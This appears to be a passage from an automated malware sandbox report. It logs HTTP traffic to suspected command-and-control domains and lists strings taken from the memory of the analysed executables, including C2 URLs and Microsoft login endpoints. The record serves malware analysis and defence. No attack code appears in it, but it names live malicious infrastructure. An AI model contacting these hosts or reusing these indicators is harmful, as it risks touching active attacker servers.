Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeexpires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0content-type: text/html; charset=UTF-8link: <https://lefkosaturklisesi.net/wp-json/>; rel="https://api.w.org/"content-length: 11681content-encoding: gzipvary: Accept-Encodingdate: Fri, 28 Mar 2025 08:01:05 GMTserver: LiteSpeedData Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 7d 5d 77 db 46 b2 e0 b3 fd 2b da f0 19 8b 4c 40 10 00 29 4a 22 4d 65 12 c7 be 77 76 93 4d 76 9c d9 7b 76 63 af 0f 48 34 45 58 20 80 01 40 7d 0c 47 bf e5 3e ce eb ce fb 7d 9b ec ff da aa ee 06 d0 00 1a 20 48 69 e6 de dc b3 71 24 91 e8 ea aa ea ea ea fa e8 2f bc 7e f1 ed 0f 6f 7e fa 9f 3f be 25 eb 74 e3 5f 3e 7f 8d 7f 88 ef 04 57 73 2d 8d 35 7c 40 1d f7 f2 f9 b3 d7 1b 9a 3a 64 b9 76 e2 84 a6 73 ed 0f 3f bd 1b 9c 6b 64 98 97 04 ce 86 ce b5 1b 8f de 46 61 9c 6a 64 19 06 29 0d 00 f2 d6 73 d3 f5 dc a5 37 de 92 0e d8 17 9d 78 81 97 7a 8e 3f 48 96 8e 4f e7 16 c3 23 a1 39 89 c3 45 98 26 27 39 92 93 8d 73 37 f0 36 ce 15 1d 44 31 45 22 53 df 89 af e8 09 67 20 49 ef 7d 7a e9 6d ae a6 5e d2 fb 39 f1 fe 44 93 b9 e6 6c d3 50 23 de 47 9d f0 27 ff 9b 3f d2 f1 59 9f ec 18 6e c7 0b 06 5e 90 c6 5e 90 78 cb 01 82 4d c9 c8 34 cd e8 8e 58 a7 ec cf c3 eb 21 c7 0e 64 52 2f 85 0f ef 9d fb 95 43 16 5b 7f 0b bc 3a ee 2f 7f 25 af 5e 9e db 96 35 23 df df 93 6f fc f0 ea f5 90 03 3e 7f ed 7b c1 35 89 a9 3f 3f 71 83 04 39 5f d1 74 b9 3e 21 6b f8 34 3f 19 0e 7d ba ba 0e 13 27 dd c6 d7 be 97 d0 c4 33 02 9a b2 36 15 55 35 c7 4f 69 1c 38 29 d5 48 7a 1f 81 8c 9d 28 f2 bd a5 93 7a 61 30 8c 93 e4 cb bb 8d 0f 45 48 72 ae 09 16 c8 ab d8 f9 e3 36 9c 11 e7 fa 97 bf fe df 7f fd e5 af 1a a7 a9 ad d3 34 4a a6 0d 94 87 2b 4a dd a1 f6 94 f4 ef c3 78 bb 39 90 8b 65 b8 d9 40 a7 27 32 3b c9 32 f6 a2 f4 f2 f9 ad 17 b8 e1 ad f1 e9 36 a2 9b f0 b3 f7 9e a6 a9 17 5c 25 64 4e 76 da c2 49 e8 1f 62 5f 9b 0a fc 1f 86 1f 86 89 71 6b 84 f1 d5 87 21 53 9e e4 03 20 8f e9 87 21 ab fc 61 68 9d 1a a6 31 fa 30 3c b3 ef ce ec 0f 43 4d d7 e8 5d 0a f5 8d 28 b8 82 2f c9 cd d5 71 f8 a0 22 c3 06 7f df 72 84 f0 09 bf 87 db 78 49 b5 e9 4e 03 e5 03 09 b2 6a 02 3f 43 af 14 c8 87 e1 6d 04 5a ba f4 b7 2e 52 fc 9c b0 07 ac ee 00 7a 88 42 b3 8d 8d 17 18 9f 93 af 6e 68 3c 9f 18 67 86 ad 3d 3c cc 9e 0f bf 78 41 7e 5a 7b 09 59 79 3e 25 f0 17 f5 7f 70 45 03 1a 03 6d 97 7c 31 7c Data Ascii: }]wF+L@)J"MewvMv{vcH4EX @}G>} Hiq$/~o~?%t_>Ws-5|@:dvs?kdFajd)s7xz?HO#9E&'9s76D1E"Sg I}zm^9DlP#G'?Yn^^xM4X!dR/C[:/%^5#o>{5??q9_t>!k4?}'36U5Oi8)Hz(za0EHr64J+Jx9e@'2;26\%dNvIb_qk!S !ah10<CM](/q"rxINj?CmZ.RzBnh<g=<xA~Z{Yy>%
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeexpires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0content-type: text/html; charset=UTF-8link: <https://lefkosaturklisesi.net/wp-json/>; rel="https://api.w.org/"content-length: 11681content-encoding: gzipvary: Accept-Encodingdate: Fri, 28 Mar 2025 08:01:08 GMTserver: LiteSpeedData Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 7d 5d 77 db 46 b2 e0 b3 fd 2b da f0 19 8b 4c 40 10 00 29 4a 22 4d 65 12 c7 be 77 76 93 4d 76 9c d9 7b 76 63 af 0f 48 34 45 58 20 80 01 40 7d 0c 47 bf e5 3e ce eb ce fb 7d 9b ec ff da aa ee 06 d0 00 1a 20 48 69 e6 de dc b3 71 24 91 e8 ea aa ea ea ea fa e8 2f bc 7e f1 ed 0f 6f 7e fa 9f 3f be 25 eb 74 e3 5f 3e 7f 8d 7f 88 ef 04 57 73 2d 8d 35 7c 40 1d f7 f2 f9 b3 d7 1b 9a 3a 64 b9 76 e2 84 a6 73 ed 0f 3f bd 1b 9c 6b 64 98 97 04 ce 86 ce b5 1b 8f de 46 61 9c 6a 64 19 06 29 0d 00 f2 d6 73 d3 f5 dc a5 37 de 92 0e d8 17 9d 78 81 97 7a 8e 3f 48 96 8e 4f e7 16 c3 23 a1 39 89 c3 45 98 26 27 39 92 93 8d 73 37 f0 36 ce 15 1d 44 31 45 22 53 df 89 af e8 09 67 20 49 ef 7d 7a e9 6d ae a6 5e d2 fb 39 f1 fe 44 93 b9 e6 6c d3 50 23 de 47 9d f0 27 ff 9b 3f d2 f1 59 9f ec 18 6e c7 0b 06 5e 90 c6 5e 90 78 cb 01 82 4d c9 c8 34 cd e8 8e 58 a7 ec cf c3 eb 21 c7 0e 64 52 2f 85 0f ef 9d fb 95 43 16 5b 7f 0b bc 3a ee 2f 7f 25 af 5e 9e db 96 35 23 df df 93 6f fc f0 ea f5 90 03 3e 7f ed 7b c1 35 89 a9 3f 3f 71 83 04 39 5f d1 74 b9 3e 21 6b f8 34 3f 19 0e 7d ba ba 0e 13 27 dd c6 d7 be 97 d0 c4 33 02 9a b2 36 15 55 35 c7 4f 69 1c 38 29 d5 48 7a 1f 81 8c 9d 28 f2 bd a5 93 7a 61 30 8c 93 e4 cb bb 8d 0f 45 48 72 ae 09 16 c8 ab d8 f9 e3 36 9c 11 e7 fa 97 bf fe df 7f fd e5 af 1a a7 a9 ad d3 34 4a a6 0d 94 87 2b 4a dd a1 f6 94 f4 ef c3 78 bb 39 90 8b 65 b8 d9 40 a7 27 32 3b c9 32 f6 a2 f4 f2 f9 ad 17 b8 e1 ad f1 e9 36 a2 9b f0 b3 f7 9e a6 a9 17 5c 25 64 4e 76 da c2 49 e8 1f 62 5f 9b 0a fc 1f 86 1f 86 89 71 6b 84 f1 d5 87 21 53 9e e4 03 20 8f e9 87 21 ab fc 61 68 9d 1a a6 31 fa 30 3c b3 ef ce ec 0f 43 4d d7 e8 5d 0a f5 8d 28 b8 82 2f c9 cd d5 71 f8 a0 22 c3 06 7f df 72 84 f0 09 bf 87 db 78 49 b5 e9 4e 03 e5 03 09 b2 6a 02 3f 43 af 14 c8 87 e1 6d 04 5a ba f4 b7 2e 52 fc 9c b0 07 ac ee 00 7a 88 42 b3 8d 8d 17 18 9f 93 af 6e 68 3c 9f 18 67 86 ad 3d 3c cc 9e 0f bf 78 41 7e 5a 7b 09 59 79 3e 25 f0 17 f5 7f 70 45 03 1a 03 6d 97 7c 31 7c Data Ascii: }]wF+L@)J"MewvMv{vcH4EX @}G>} Hiq$/~o~?%t_>Ws-5|@:dvs?kdFajd)s7xz?HO#9E&'9s76D1E"Sg I}zm^9DlP#G'?Yn^^xM4X!dR/C[:/%^5#o>{5??q9_t>!k4?}'36U5Oi8)Hz(za0EHr64J+Jx9e@'2;26\%dNvIb_qk!S !ah10<CM](/q"rxINj?CmZ.RzBnh<g=<xA~Z{Yy>%
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeexpires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0content-type: text/html; charset=UTF-8link: <https://lefkosaturklisesi.net/wp-json/>; rel="https://api.w.org/"transfer-encoding: chunkedcontent-encoding: gzipvary: Accept-Encodingdate: Fri, 28 Mar 2025 08:01:10 GMTserver: LiteSpeedData Raw: 32 62 66 36 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec 7d db 96 e3 46 92 d8 73 f7 57 64 a3 cf 74 11 12 09 02 e0 a5 aa c8 66 69 24 4d f7 ee da 92 25 4f 6b bc c7 56 b7 fb 80 44 b2 08 15 48 60 00 b0 2e c3 a9 6f f1 a3 9f e7 7d df 66 fc 5f 8e c8 4c 00 09 20 71 21 ab 66 76 e5 63 b5 aa 8a 44 46 46 44 46 46 c6 25 6f 78 fb ea 77 3f 7c fb d3 7f ff f1 1d d9 24 5b ff ea e5 5b fc 43 7c 67 77 bd d0 92 48 c3 07 d4 71 af 5e be 78 bb a5 89 43 56 1b 27 8a 69 b2 d0 fe f0 d3 fb c1 85 46 86 59 c9 ce d9 d2 85 76 eb d1 bb 30 88 12 8d ac 82 5d 42 77 00 79 e7 b9 c9 66 e1 d2 5b 6f 45 07 ec 4b 9f 78 3b 2f f1 1c 7f 10 af 1c 9f 2e 2c 86 47 42 73 16 05 cb 20 89 cf 32 24 67 5b e7 7e e0 6d 9d 6b 3a 08 23 8a 44 66 be 13 5d d3 33 ce 40 9c 3c f8 f4 ca db 5e cf bc b8 f7 73 ec fd 89 c6 0b cd d9 27 81 46 bc 4f 7d c2 9f fc 4f fe a8 8f cf 74 72 60 b8 1d 6f 37 f0 76 49 e4 ed 62 6f 35 40 b0 19 19 99 a6 19 de 13 6b c2 fe 3c be 1d 72 ec 40 26 f1 12 f8 f0 c1 79 58 3b 64 b9 f7 f7 c0 ab e3 fe ed 2f e4 cd eb 0b db b2 e6 e4 fb 07 f2 8d 1f 5c bf 1d 72 c0 97 6f 7d 6f 77 43 22 ea 2f ce dc 5d 8c 9c af 69 b2 da 9c 91 0d 7c 5a 9c 0d 87 3e 5d df 04 b1 93 ec a3 1b df 8b 69 ec 19 3b 9a b0 36 e5 55 35 c7 4f 68 b4 73 12 aa 91 e4 21 04 19 3b 61 e8 7b 2b 27 f1 82 dd 30 8a e3 2f ef b7 3e 14 21 c9 85 26 58 20 6f 22 e7 8f fb 60 4e 9c 9b bf fd e5 ff fc af bf fd 45 e3 34 b5 4d 92 84 f1 ac 86 f2 70 4d a9 3b d4 9e 93 fe 43 10 ed b7 47 72 b1 0a b6 5b e8 f4 58 66 27 5e 45 5e 98 5c bd bc f3 76 6e 70 67 7c be 0b e9 36 f8 c5 fb 40 93 c4 db 5d c7 64 41 0e da d2 89 e9 1f 22 5f 9b 09 fc 1f 87 1f 87 b1 71 67 04 d1 f5 c7 21 53 9e f8 23 20 8f e8 c7 21 ab fc 71 68 4d 0c d3 18 7d 1c 9e db f7 e7 f6 c7 a1 d6 d7 e8 7d 02 f5 8d 70 77 0d 5f e2 db eb d3 f0 41 45 86 0d fe be e3 08 e1 13 7e 0f f6 d1 8a 6a b3 83 06 ca 07 12 64 d5 04 7e 86 5e 29 90 8f c3 bb 10 b4 74 e5 ef 5d a4 f8 4b cc 1e b0 ba 03 e8 21 0a cd 36 b6 de ce f8 25 fe ea 96 46 8b a9 71 6e d8 da e3 e3 fc e5 f0 8b 57 e4 a7 8d 17 93 b5 e7 53 02 Data Ascii: 2bf6}FsWdtfi$M%OkVDH`.o}f_L q!fvcDFFDFF%oxw?|$[[C|gwHq^xCV'iFYv0]Bwyf[oEKx;/.,GBs 2$g[~mk:#Df]3@<^s'FO}Otr`o7vIbo5@k<r@&yX;d/\ro}owC"/]i|Z>]i;6U5Ohs!;a{+'0/>!&X o"`NE4MpM;CGr[Xf'^E^\vnpg|6@]dA"_qg!S# !qhM}}pw_AE~jd~^)t]K!6%FqnWS
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 28 Mar 2025 08:02:21 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeExpires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheSet-Cookie: PHPSESSID=45tidjp5jd0ne1v0jqb8f43b0m; path=/cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YMQp%2FlKjXgrLs5CZiiZJkqPk6pIWjrNaimWeOVuWULFrW0bnwn%2BO9LCbh44Qtxxr0X2lJUYT0TC1Az9kNDXBncMfeFL3toUy1T0ex8LKlMxYE4Esb4zs7AyR%2F9i3GKsfidWXk%2BCD"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 92759ad25d277ca5-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=85756&min_rtt=85756&rtt_var=42878&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=782&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 34 0d 0a 1f 8b 08 00 00 00 00 00 00 03 03 00 00 00 00 00 00 00 00 00 0d 0a Data Ascii: 14
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 28 Mar 2025 08:02:24 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeExpires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheSet-Cookie: PHPSESSID=6hvmi4u7okkgqlrv01mlq337pb; path=/cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tXaEEv7PdLgMCOvzHN2LFUGLyNGpwRXgnZ8EbIQ3aiHKxrPXlg3Yk9dMbFDf43xtDAqseWajocYSeVXvSk6qs6dGRdI9ZGp7zXE8hLw1RKPcLu8OImJCa1maJR6bwmhBVUe1XXck"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 92759ae2cf0c23ce-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=84092&min_rtt=84092&rtt_var=42046&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=802&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 34 0d 0a 1f 8b 08 00 00 00 00 00 00 03 03 00 00 00 00 00 00 00 00 00 0d 0a Data Ascii: 14
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 28 Mar 2025 08:02:27 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeExpires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheSet-Cookie: PHPSESSID=f486b0nimi744phnctbf0mi9t7; path=/cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=glMOsdRxL773Gxgn5xWtqjOjQ6E8ftDyKbUbUa3jjY4TnGQ8CXfiXxfwUisfOZ89lF81SQf501wgsvGFB0naHtL03ECzie%2Bw%2F3RUABZ%2FFB9fQZvrjvT1QjmjOrSn46Mwjq5EmWpt"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 92759af34e813448-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=85033&min_rtt=85033&rtt_var=42516&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=794&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 34 0d 0a 1f 8b 08 00 00 00 00 00 00 03 03 00 00 00 00 00 00 00 00 00 0d 0a Data Ascii: 14
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 28 Mar 2025 08:02:29 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeExpires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheSet-Cookie: PHPSESSID=jbom0fg0lpp1qmnsarqdpj7v2v; path=/cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=y19sjSS3ouS%2FkjfqFpDjpADfmjiSkccgQMy6YK6EoOT3I%2FO9PBOjQLgE8vaLtzgo17nd5b4%2FdLb5N9SV%2BpoHG5VVV1L4F0Rm557fz6qbR1mNOOp42IE5FXQHJTcsVwe5J%2F26ETaZ"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 92759b03ac9f5e6e-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=84757&min_rtt=84757&rtt_var=42378&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=526&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 28 Mar 2025 08:02:37 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Lk4ZmgHT6Wt1LgXvq5ckJxw6YTvLqJp%2F8YBNyq64hTRoqObhxbJsXbERwajHWfAWyhVvfsU21mU6Te0Pj5%2FzjUn0TIWADEgEA2MKhejpFi%2BLLQevwEDKdEOXgN%2B%2BeTS0ed3p6BNvnBt7xQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 92759b39cae4556e-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=84426&min_rtt=84426&rtt_var=42213&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=530&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 Data Ascii: 224<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disab
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 28 Mar 2025 08:02:43 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kjF%2F1cVuesP%2FizvoIMLIf%2FiWqWxiQhVqiH1mwk%2FWTeVjOi2AdivtUoYvsOFQvleOzeDPjy1UzwrpwwhwctJECB78BlA29o5DRP2ke5s6rZxIHe12cvxKmENbBrWcrbE4l2Qf8zfpqIiqLw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 92759b5b9ff10f90-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=84169&min_rtt=84169&rtt_var=42084&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=794&delivery_rate=0&cwnd=248&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 85 de 61 3c 40 88 85 2e 87 6c 44 c1 85 6e 3c 41 ea 8c 4d 20 9d 94 31 82 bd bd 54 2d 88 6b 97 ae 1e bc 9f 8f 87 a1 0c c9 d5 15 06 f6 e4 b0 c4 92 d8 b5 eb 16 8e b9 c0 2e df 84 d0 be 4c b4 cf 4a 5d 61 97 69 9a f5 cc 52 58 1d 86 e6 7b 11 1a 87 f6 1d cf 6c 75 4b 59 fa 28 f7 cf cc 2e 34 bb 3c 59 19 03 1e 46 4f 14 a5 87 92 81 e2 d5 77 89 e1 70 da 6f c1 0b c1 26 68 1e 18 2e 1a 59 28 4d c0 aa 59 61 f4 3d 83 31 7f c4 af 11 0f 27 a7 bf a8 24 02 00 00 0d 0a Data Ascii: a7M0a<@.lDn<AM 1T-k.LJ]aiRX{luKY(.4<YFOwpo&h.Y(MYa=1'$
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 28 Mar 2025 08:02:46 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hZ7Tg8CLCtX5Uvl%2FsMTAarkf%2BkEz1ajKqpg5W4CfSyPDCr7pf7wFekl4Ac%2F4h%2BzGA9egCuLnsX%2BkBHNsvHhOjqgXpyVMw7%2F8EKbWZg90VrWpWrcIZl3y%2Bc54nVflpmyrCO%2FntwuuuBUZmw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 92759b6f0df517ad-EWRContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=83948&min_rtt=83948&rtt_var=41974&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=814&delivery_rate=0&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 61 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 8e 4d 0a c2 30 10 85 f7 85 de 61 3c 40 88 85 2e 87 6c 44 c1 85 6e 3c 41 ea 8c 4d 20 9d 94 31 82 bd bd 54 2d 88 6b 97 ae 1e bc 9f 8f 87 a1 0c c9 d5 15 06 f6 e4 b0 c4 92 d8 b5 eb 16 8e b9 c0 2e df 84 d0 be 4c b4 cf 4a 5d 61 97 69 9a f5 cc 52 58 1d 86 e6 7b 11 1a 87 f6 1d cf 6c 75 4b 59 fa 28 f7 cf cc 2e 34 bb 3c 59 19 03 1e 46 4f 14 a5 87 92 81 e2 d5 77 89 e1 70 da 6f c1 0b c1 26 68 1e 18 2e 1a 59 28 4d c0 aa 59 61 f4 3d 83 31 7f c4 af 11 0f 27 a7 bf a8 24 02 00 00 0d 0a Data Ascii: a7M0a<@.lDn<AM 1T-k.LJ]aiRX{luKY(.4<YFOwpo&h.Y(MYa=1'$

Source: RmClient.exe, 00000004.00000002.3362363098.00000000043E6000.00000004.10000000.00040000.00000000.sdmp, IexMqt2DaKEZyYvnrd.exe, 00000006.00000002.3361395202.0000000004446000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://lefkosaturklisesi.net/scnj/?i0D=la6mruIiTl7jT5t2EcPRjP0WeEe/LFy3MvqxRRXa8eFDOUG5BAmqw6OJnO
Source: RmClient.exe, 00000004.00000002.3362363098.00000000040C2000.00000004.10000000.00040000.00000000.sdmp, IexMqt2DaKEZyYvnrd.exe, 00000006.00000002.3361395202.0000000004122000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://push.zhanzhang.baidu.com/push.js
Source: IexMqt2DaKEZyYvnrd.exe, 00000006.00000002.3363348707.00000000056C4000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.xiongsupported.shop
Source: IexMqt2DaKEZyYvnrd.exe, 00000006.00000002.3363348707.00000000056C4000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.xiongsupported.shop/pr5c/
Source: RmClient.exe, 00000004.00000002.3364416525.0000000007698000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org?q=
Source: RmClient.exe, 00000004.00000002.3364416525.0000000007698000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: RmClient.exe, 00000004.00000002.3364416525.0000000007698000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: RmClient.exe, 00000004.00000002.3364416525.0000000007698000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: RmClient.exe, 00000004.00000002.3364416525.0000000007698000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=
Source: RmClient.exe, 00000004.00000002.3364416525.0000000007698000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: RmClient.exe, 00000004.00000002.3364416525.0000000007698000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabv20
Source: RmClient.exe, 00000004.00000002.3364416525.0000000007698000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gemini.google.com/app?q=
Source: RmClient.exe, 00000004.00000002.3362363098.0000000003A7A000.00000004.10000000.00040000.00000000.sdmp, IexMqt2DaKEZyYvnrd.exe, 00000006.00000002.3361395202.0000000003ADA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://kb.fastpanel.direct/troubleshoot/
Source: RmClient.exe, 00000004.00000002.3359764476.00000000004B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: RmClient.exe, 00000004.00000002.3359764476.000000000048B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: RmClient.exe, 00000004.00000003.1198178368.000000000768F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srfhttps://login.
Source: RmClient.exe, 00000004.00000002.3359764476.00000000004B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: RmClient.exe, 00000004.00000002.3359764476.000000000048B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: RmClient.exe, 00000004.00000002.3359764476.00000000004B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: RmClient.exe, 00000004.00000002.3359764476.000000000048B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: RmClient.exe, 00000004.00000002.3364416525.0000000007698000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/v20w
Source: RmClient.exe, 00000004.00000002.3362363098.00000000038E8000.00000004.10000000.00040000.00000000.sdmp, RmClient.exe, 00000004.00000002.3362363098.0000000003F30000.00000004.10000000.00040000.00000000.sdmp, RmClient.exe, 00000004.00000002.3362363098.000000000470A000.00000004.10000000.00040000.00000000.sdmp, IexMqt2DaKEZyYvnrd.exe, 00000006.00000002.3361395202.0000000003F90000.00000004.00000001.00040000.00000000.sdmp, IexMqt2DaKEZyYvnrd.exe, 00000006.00000002.3361395202.0000000003948000.00000004.00000001.00040000.00000000.sdmp, IexMqt2DaKEZyYvnrd.exe, 00000006.00000002.3361395202.000000000476A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: RmClient.exe, 00000004.00000002.3364416525.0000000007698000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp
